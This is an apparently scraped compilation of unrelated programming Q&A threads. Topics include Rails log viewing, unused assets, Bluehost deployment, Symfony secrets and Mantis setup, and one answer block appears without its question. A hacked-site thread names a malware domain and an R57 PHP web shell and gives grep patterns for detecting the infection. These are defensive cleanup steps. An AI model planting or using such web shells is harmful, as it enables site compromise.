How to display log for Rails application? - ruby-on-rails
I have a rails app and I would like to display the log in the app itself. This will allow administrators to see what changes were recently made without entering the console and using the file with the logs. All logs will be displayed in the application administration. How is it possible to implement and what kind of gems do I need to use?
You don't need a Gem.
Add a controller, read the logfiles and render the output in HTML.
Probably need to limit the number of lines you read. Also there might be different log files to chose from.
I don't think this is a good idea though. Log files are for finding errors and you should not need them in your day to day work, unless you manage ther server.
Also they might contain sensitive data (CC Numbers, Pwds, ...) and it might get complicated when you use multiple servers with local disks.
Probably better to look at dedicated tools for this and handle logs outside of your application.
Assuming that you have git associated with your application or git bash installed in your system.
For displaying log information for the development mode, migrate to your application folder in your console/terminal and type tail -f log/development.log

Way to easily see which assets are not used?
I've inherited a rails app that had been used a few times over for various, different applications. In doing so, it looks as with each iteration, the developers simply copied in the new assets (images, javascript, etc) without starting fresh, so now I've got folders full of assets I'm sure aren't used. I want to clean this up, as I'm responsible for the current iteration. Is there a quick/easy way (a script perhaps) to filter out what is used and what isn't?
if you have very verbose logs try this script (taken from https://stackoverflow.com/a/14488684/1440599) grep -Eo ‘GET /(.*(.gif|.jpg|.jpeg|.png|.css|.js))[ \?]’ [the-log].log > ~/assets.txt of course, this doesn't take into account the time the assets are used (some may be obsolete) depending on how long the application has been logged so you'll have to take this into account

It seems to be redirecting to or injecting content from absolutegift dot com, a malware distributor. Somebody uploaded it to your server. This person (or bot) may have managed to get your password or he may have used an exploit. Change your passwords, make sure all user input (including uploads) is validated. Make sure you have a firewall running (I recommend csf) and scan your server for rootkits.
Contact your hosting provider and notify them of the issue. This is very important I've shutdown plenty of legit websites because they were compromised and the owner lost all their data. If you are using a CMS such as Drupal, Wordpress, etc. etc. Make sure you upgrade and change admin passwords. If you have any plugins, make sure they are upgraded. If you have no CMS, change your FTP & control panel passwords. As for fixing the problem. If you are using a CMS, an in-place upgrade should replace all the files. If not, you can download all your files and use a word-processor like Notepad++ to do a find-and-replace throughout the directory. Also, your hosting provider might be able to restore from backup, or at least have some experience in fixing it. To prevent it, don't use a CMS and learn some web security. Possibly hire a pentester.
this happened to me as well on an old site running Drupal 5. What I did is download the site and compared it with a clean copy of the codebase using meld (a graphical diff tool for linux). I found that there was a file called god.php that was placed in one of the subdirectories and contained a php script which called R57. It's really scary what this thing can do. Many of my files were infected with something like: <?php #8f4d8e# ... #/8f4d8e# ?> I cleaned this up manually a few times but kept being hacked until I removed the "god.php" file. I assume it might be called differently on your system. If you have SSH access to the server go to your document root and search for all files containing the string: grep -R "#8f4d8e#" . You could also look for your version of the god.php file... look for traces of R57, for example by issuing: grep -R "R57" . Mine had a big ASCII art drawing of a bug at the beginning of the file. I'm not sure how I got it but there were a list of bad things: un-updated very old version of Drupal, PHP4 with register_globals on, shared hosting (and probably a lousy company). What I did is move the cleaned up site to another hosting company with PHP 5 and changed all passwords: drupal, ftp, mysql etc.
Where do I put the files I want to be displayed on my webpage on my webhost?
So I just finished the railstutorial.org twitter clone example and I want to put it online with my web hosting provider bluehost. Right now all I have is a file called sample_app with all of the rails stuff in it. And it works fine when I visit it on localhost:3000. So I go to my bluehost file manager and there are 9 different folders, like public_html, public_ftp, rails_apps, www, tmp, access_logs, ect. Ive uploaded sample_app into this overall directory and into the public_html directory itself. But when I visit my website it just displays the html in a default.html file in the public_html directory. What exactly is telling my hosting service to use public_html/default.html of any of the hundereds of different files and folders that are in other places on my server space? How do I find this thing and tell it to instead use sample_app or public_html/sample_app and then process everything in that to display my rails application? Ive tried using bluehost support and they emailed me and said this would be accomplished by creating a symlink which links ~/rails_apps/NinetyNine/public to ~/public_html. I have no idea how to do this and the guides I find online all tell me to enter a series of commands. I dont know whether to do this in a terminal on my ubuntu system or some command prompt that bluehost provides. If it is at a terminal on my system which directory should I be in? any attempts I have made on my system have resulted in a no such file or directory error. When I asked bluehost to explain this they said that this was outside of the scope of their support and had to do with web development not hosting. It struck me as odd that they were unwilling to explain their own response to my problem but whatever. If anyone of you could help me or point me in the right direction I would very much appreciate it. Thank you
What is telling my hosting service to use public_html/default.html ? That would be a setting the web server configuration, probably Apache. In Apache's case, the public_html directory is usually enabled with the UserDir directive. The default.html, is also an Apache configuration, DirectoryIndex. Answering these because you asked: but typically, the global Apache configuration is maintained by your provider (though you usually have some means to customize parts of it). Create the symlink from public_html to They like gave you a command like (maybe not exactly) $ ln -s ~/rails_apps/NinetyNine/public public_html That is something that is intended to be run on your webhost, from a command prompt, at the top of your home directory. Look for docs on bluehost for finding out how to get SSH shell access. That's where you'll enter the command. More generally, however, you want to make sure you read the docs on how your provider wants you to upload applications. Bluehost seems to have very nice docs here: https://my.bluehost.com/cgi/help/rails Why your hosting provided said it was out of scope. You're a beginner, and that's officially OK. Welcome! But if you asked them a question like "Do I enter these commands on my computer or yours", they are definitely going to politely respond that this out of scope; meaning -- "We can't hand-hold you through this". If you ran a gas station and someone asked you how to use the pump, you'd tell them. But if they then asked "OK but do I put the gas in my car or yours?" you'd be reluctant to answer, because there's some fundamental missing. So how do I get more pointers, directions on this stuff? Lots of approaches. By the far the best is to do as much stuff as you can on your own computer. In your case, you could easily set up your own Apache (Macs and Linux frequently ship with it - readily installable on Windows), and that would clear up a lot of the conceptual issues. Good luck!
Hiding production passwords from unauthorized users in Symfony
Symfony worked great for us when we were a small team of trusted developers. Now however, we are getting more people to help out, which leads to a problem with managing production passwords checked into source control. I have production passwords for our DB, API keys, etc. stored in the Symfony config files which I do not want all developers to have access to. How can I hide these passwords from unauthorized developers and yet still grant them access to the source code?
If you're already using a version control: your first stop should be removing all passwords from the history in your versioning system. Good luck ;-) Next: isolate the files which have passwords in them. (Probably config/databases.yml and apps/<yourapp>/app.yml.). Copy/rename this files to *.yml.dist (for example: config/databases.yml.dist). Clean up all production passwords from these files, and leave only the bare minimum to keep it going. Make sure the original files don't appear in your VCS ever again. (svn ignore, or the likes). Now when you set up a new environment, you can just copy the *.dist files to their 'real' names. (What I did for my project is move all API keys to a single apikeys.yml in the config directory. That way all the properties in the app.yml keep being versioned, and my api keys don't appear in the VCS.
Hope you get the answer for your question. Recently I have implement these kind of works in my project.I think to store these kind of confidential data database is the safe options and get this data using filter is the best option no need to store your data in app.yml.
How to upgrade mantis bug tracker database online?
Your database has not been created yet. Please create the database, then install the tables and data using the information above before proceeding.
Use a ftp/sftp/scp app like WinSCP to examine your directory. There's usually a readme file in the directory. Read it and do what it says. It'll likely say to run a script, visit an admin page (and then remove it when you're done), etc.. Or it may say to create your database, and enter the relevant info (hostname, directory, userid/pwd) into a .config file or something. Oh, and you probably need to have a database created on the host before you do this. Sites like dreamhost and pair have control panels where you create the database, and give the admin/dba userid/passwords. Then it comes back with the server host name/directory where you will point your config to.
